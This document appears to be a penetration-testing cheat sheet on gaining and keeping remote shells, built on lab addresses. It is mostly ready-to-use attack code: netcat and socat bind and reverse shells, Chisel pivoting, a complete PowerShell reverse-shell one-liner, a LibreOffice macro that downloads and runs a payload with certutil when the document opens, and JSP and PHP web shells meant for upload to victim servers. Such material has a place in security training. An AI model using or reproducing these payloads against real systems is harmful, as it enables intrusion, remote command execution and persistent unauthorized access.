Run process without spawn new window and loose non-TTY shell:

```
> start-process -nonewwindow -filepath ./shell.exe
```

## <mark style="color:red;">**Netcat Bind Shell**</mark>

Windows / Setup bind shell:

```bash
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.11.0.1

C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
```

Kali / Calling bind shell:

```bash
kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.11.0.22
```

## <mark style="color:red;">Netcat Reverse Shell</mark>

Windows:

```bash
C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...
```

Kali:

```bash
kali@kali:~$ ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0
          
kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open
```

The connection is received by Netcat on the Windows machine as shown below:

```bash
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482

ip address show eth0 | grep inet
          inet 10.11.0.4/16  brd 10.11.255.255  scope global dynamic eth0
```

## <mark style="color:red;">Socat Reverse Shell</mark>

Listen:

```bash
C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443
```

Connect:

```bash
kali@kali:~$ socat TCP4:10.11.0.22:443 EXEC:/bin/bash
```

## <mark style="color:red;">Socat Encrypted Bind Shell</mark>

Generating SSL certificate:

```bash
kali@kali:~$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
```

Creating .pem file:

```bash
kali@kali:~$ cat bind_shell.key bind_shell.crt > bind_shell.pem
```

Listen:

```bash
kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
```

Connect:

```bash
C:\Users\offsec> socat - OPENSSL:10.11.0.4:443,verify=0
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```

## <mark style="color:red;">Chisel</mark>

How it works: <https://ap3x.github.io/posts/pivoting-with-chisel/>

Download it from here:

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

Reverse pivot:

```bash
./chisel server -p 9002 -reverse -v #On Kali
./chisel client <RHOST>:9002 R:9003:127.0.0.1:8888 #On victim machine
```

SOCKS5 / Proxychains Configuration:

```bash
./chisel server -p 9002 -reverse -v #On Kali
./chisel client <RHOST>:9002 R:socks #On victim machine
```

## <mark style="color:red;">PowerShell Reverse Shell</mark>

Listen:

```bash
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
```

Connect:

```bash
C:\Users\offsec> powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Result:

```bash
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 63515

PS C:\Users\offsec>
```

## <mark style="color:red;">PHP Reverse Shell</mark>

A php reverse shell from pentest monkey:

{% embed url="<https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php>" %}

## <mark style="color:red;">LibreOffice</mark>

If you can upload an ODT LibreOffice file and execute it you can insert a macro inside it, as follow.

First insert the reverse shell payload for Windows inside a **reverse.ps1** file:

```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

We can create a new basic macro and save it:

<figure><img src="/files/NALjFlpPa9aVqK7HJlmi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ILfMNuUuZ9chNBlOplY6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9mjfOLLJP4vTOmuAGq3h" alt=""><figcaption><p>ODT Macro</p></figcaption></figure>

The ODT Macro content is the following:

```powershell
Sub Main
    Shell("cmd /c certutil -urlcache -split -f http://<kali_ip>:80/shell_80.exe C:\\Windows\\Tasks\\shell_80.exe")
    Shell("cmd /c C:\Windows\Tasks\shell_80.exe")
End Sub
```

Now link it to the “Open Document” event. Under Tools -> Customize -> Events.

<figure><img src="/files/hL87EuWeMyf60GDz8gUo" alt=""><figcaption></figcaption></figure>

Save. Start a netcat listener and a python web server and upload the odt file. Get the shell back.


# Web Shells

## <mark style="color:red;">JSP</mark>

1. Save the [source code](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp) below as cmd.jsp and upload to the victim server.
2. Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

```javascript
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>p
```

Other JSP Shells:

1. JSP Reverse+Web Shell:&#x20;

{% embed url="<https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp>" %}

2. JSP Web Shells Mix:&#x20;

{% embed url="<https://github.com/threedr3am/JSP-Webshells>" %}

## <mark style="color:red;">PHP</mark>

Classic payload to execute commands:

```php
<?php system($_GET['cmd']); ?>
```

A really simple and tiny PHP Web shell for executing unix commands from web page:

{% embed url="<https://github.com/artyuum/Simple-PHP-Web-Shell>" %}

A Simple PHP Web Shell used for Remote Code Execution:

{% embed url="<https://github.com/itsKindred/php-web-shell>" %}

A very simple but functional PHP webshell:

{% embed url="<https://github.com/drag0s/php-webshell>" %}


